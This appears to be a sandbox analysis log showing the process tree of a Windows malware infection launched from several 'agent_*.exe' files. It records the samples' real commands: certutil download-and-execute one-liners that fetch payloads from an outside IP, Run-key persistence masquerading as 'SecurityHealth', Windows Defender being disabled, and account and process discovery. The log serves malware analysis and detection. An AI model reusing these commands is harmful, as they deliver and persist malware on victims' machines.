                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6164,i,12275962268078454514,15359174619802069457,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:14
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:2116
                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4148,i,17079884806684047992,10818180565049480270,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:14
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:4156
                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5660,i,12821463051024767079,12142889473879694170,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:14
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                          PID:2144
                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:1984
                                                                                                                                                                        • C:\Users\Admin\Downloads\agent_abe6b8bf85763a6b.exe
                                                                                                                                                                          C:\Users\Admin\Downloads\agent_abe6b8bf85763a6b.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                          PID:2932
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Admin\Downloads\agent_abe6b8bf85763a6b.exe /f
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                            PID:4844
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe && start C:\Users\Public\captcha_crypted.exe"
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                            PID:5520
                                                                                                                                                                            • C:\Windows\SysWOW64\certutil.exe
                                                                                                                                                                              certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Downloads MZ/PE file
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:5268
                                                                                                                                                                            • C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                              C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              PID:2468
                                                                                                                                                                              • C:\Windows\system32\dllhost.exe
                                                                                                                                                                                C:\Windows\system32\dllhost.exe
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:5180
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "cmd" /C whoami
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:1632
                                                                                                                                                                              • C:\Windows\SysWOW64\whoami.exe
                                                                                                                                                                                whoami
                                                                                                                                                                                3⤵
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:3600
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "cmd" /C "net user"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:6964
                                                                                                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                net user
                                                                                                                                                                                3⤵
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:6776
                                                                                                                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                  C:\Windows\system32\net1 user
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                  PID:5804
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "cmd" /C "net user"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:6748
                                                                                                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                net user
                                                                                                                                                                                3⤵
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:7000
                                                                                                                                                                                • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                  C:\Windows\system32\net1 user
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                  PID:5816
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "cmd" /C whoami
                                                                                                                                                                              2⤵
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:7132
                                                                                                                                                                              • C:\Windows\SysWOW64\whoami.exe
                                                                                                                                                                                whoami
                                                                                                                                                                                3⤵
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:2116
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "cmd" /C whoami
                                                                                                                                                                              2⤵
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:4332
                                                                                                                                                                              • C:\Windows\SysWOW64\whoami.exe
                                                                                                                                                                                whoami
                                                                                                                                                                                3⤵
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:6480
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe && start C:\Users\Public\agent.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:6016
                                                                                                                                                                              • C:\Windows\SysWOW64\certutil.exe
                                                                                                                                                                                certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Downloads MZ/PE file
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:6856
                                                                                                                                                                              • C:\Users\Public\agent.exe
                                                                                                                                                                                C:\Users\Public\agent.exe
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                PID:5556
                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                  "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Public\agent.exe /f
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                  PID:5176
                                                                                                                                                                          • C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe
                                                                                                                                                                            C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                            PID:4488
                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                              "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe /f
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                              PID:1320
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe && start C:\Users\Public\captcha_crypted.exe"
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                              PID:5696
                                                                                                                                                                              • C:\Windows\system32\certutil.exe
                                                                                                                                                                                certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Downloads MZ/PE file
                                                                                                                                                                                PID:5856
                                                                                                                                                                              • C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                PID:5148
                                                                                                                                                                                • C:\Windows\system32\dllhost.exe
                                                                                                                                                                                  C:\Windows\system32\dllhost.exe
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:6340
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe && start C:\Users\Public\captcha_crypted.exe"
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                PID:6412
                                                                                                                                                                                • C:\Windows\system32\certutil.exe
                                                                                                                                                                                  certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Downloads MZ/PE file
                                                                                                                                                                                  PID:6456
                                                                                                                                                                                • C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                  C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:6520
                                                                                                                                                                                  • C:\Windows\system32\dllhost.exe
                                                                                                                                                                                    C:\Windows\system32\dllhost.exe
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:5660
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  "cmd" /C "net user"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:6788
                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                      net user
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:6852
                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                          C:\Windows\system32\net1 user
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:6956
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        "cmd" /C whoami
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                        PID:7076
                                                                                                                                                                                        • C:\Windows\system32\whoami.exe
                                                                                                                                                                                          whoami
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:988
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          "cmd" /C whoami
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                          PID:6024
                                                                                                                                                                                          • C:\Windows\system32\whoami.exe
                                                                                                                                                                                            whoami
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:3584
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            "cmd" /C whoami
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                            PID:1764
                                                                                                                                                                                            • C:\Windows\system32\whoami.exe
                                                                                                                                                                                              whoami
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:2808
                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                              "cmd" /C whoami
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                              PID:5412
                                                                                                                                                                                              • C:\Windows\system32\whoami.exe
                                                                                                                                                                                                whoami
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:6276
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                "cmd" /C "net user"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                PID:6924
                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                  net user
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:6888
                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                      C:\Windows\system32\net1 user
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:7048
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    "cmd" /C "net user"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:7120
                                                                                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                                                                                        net user
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:7136
                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                            C:\Windows\system32\net1 user
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:5416
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          "cmd" /C "net user"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                          PID:1608
                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                            net user
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:5308
                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                C:\Windows\system32\net1 user
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:5908
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              "cmd" /C "net user"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                              PID:4444
                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                net user
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5648
                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                    C:\Windows\system32\net1 user
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:5996
                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                  "cmd" /C tasklist
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                  PID:6328
                                                                                                                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                    tasklist
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Discovers running processes
                                                                                                                                                                                                                    PID:6584
                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                  "cmd" /C tasklist
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                  PID:5864
                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:988
                                                                                                                                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                      tasklist
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Discovers running processes
                                                                                                                                                                                                                      PID:4476
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    "cmd" /C "net user"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                    PID:6408
                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                      net user
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:2356
                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                          C:\Windows\system32\net1 user
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:7008
                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                        "cmd" /C whoami
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                        PID:2960
                                                                                                                                                                                                                        • C:\Windows\system32\whoami.exe
                                                                                                                                                                                                                          whoami
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:6104
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          "cmd" /C whoami
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                          PID:6120
                                                                                                                                                                                                                          • C:\Windows\system32\whoami.exe
                                                                                                                                                                                                                            whoami
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:4152
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            "cmd" /C whoami
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                            PID:988
                                                                                                                                                                                                                            • C:\Windows\system32\whoami.exe
                                                                                                                                                                                                                              whoami
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:2808
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              "cmd" /C whoami
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                              PID:4424
                                                                                                                                                                                                                              • C:\Windows\system32\whoami.exe
                                                                                                                                                                                                                                whoami
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:6304
                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                "cmd" /C whoami
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                PID:6172
                                                                                                                                                                                                                                • C:\Windows\system32\whoami.exe
                                                                                                                                                                                                                                  whoami
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:2548
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  "cmd" /C whoami
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                  PID:5232
                                                                                                                                                                                                                                  • C:\Windows\system32\whoami.exe
                                                                                                                                                                                                                                    whoami
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:5996
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe && start C:\Users\Public\agent.exe"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                    PID:6256
                                                                                                                                                                                                                                    • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                      certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Downloads MZ/PE file
                                                                                                                                                                                                                                      PID:5928
                                                                                                                                                                                                                                    • C:\Users\Public\agent.exe
                                                                                                                                                                                                                                      C:\Users\Public\agent.exe
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:6592
                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                        "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Public\agent.exe /f
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                        PID:5476
                                                                                                                                                                                                                                • C:\Users\Admin\Downloads\agent_81cf408b159e191c.exe
                                                                                                                                                                                                                                  C:\Users\Admin\Downloads\agent_81cf408b159e191c.exe
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                  PID:4832
                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                    "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Admin\Downloads\agent_81cf408b159e191c.exe /f
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                    PID:4460
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    "cmd" /C "dir C:\\"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                    PID:5516
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    "cmd" /C "dir C:\\"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                    PID:5580
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe && start C:\Users\Public\captcha_crypted.exe"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                    PID:5540
                                                                                                                                                                                                                                    • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                      certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Downloads MZ/PE file
                                                                                                                                                                                                                                      PID:2636
                                                                                                                                                                                                                                    • C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                                                                      C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                      PID:4160
                                                                                                                                                                                                                                      • C:\Windows\system32\dllhost.exe
                                                                                                                                                                                                                                        C:\Windows\system32\dllhost.exe
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:5840
                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                      "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe && start C:\Users\Public\captcha_crypted.exe"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                      PID:6292
                                                                                                                                                                                                                                      • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                        certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:5436
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        "cmd" /C "net user"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                        PID:6416
                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                          net user
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:6260
                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                              C:\Windows\system32\net1 user
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:5472
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            "cmd" /C whoami
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                            PID:4060
                                                                                                                                                                                                                                            • C:\Windows\system32\whoami.exe
                                                                                                                                                                                                                                              whoami
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:5508
                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                              "cmd" /C whoami
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                              PID:2664
                                                                                                                                                                                                                                              • C:\Windows\system32\whoami.exe
                                                                                                                                                                                                                                                whoami
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:1420
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe && start C:\Users\Public\agent.exe"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                PID:6368
                                                                                                                                                                                                                                                • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                                  certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                  • Downloads MZ/PE file
                                                                                                                                                                                                                                                  PID:6808
                                                                                                                                                                                                                                                • C:\Users\Public\agent.exe
                                                                                                                                                                                                                                                  C:\Users\Public\agent.exe
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                  PID:6268
                                                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                    "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Public\agent.exe /f
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                    PID:7012
                                                                                                                                                                                                                                            • C:\Windows\system32\sihost.exe
                                                                                                                                                                                                                                              sihost.exe
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:3596
                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                  explorer.exe /LOADSAVEDWINDOWS
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                  • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                                                                                                                                  • Enumerates connected drives
                                                                                                                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                  PID:1888
                                                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                PID:5072
                                                                                                                                                                                                                                              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                                                                                                                                                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
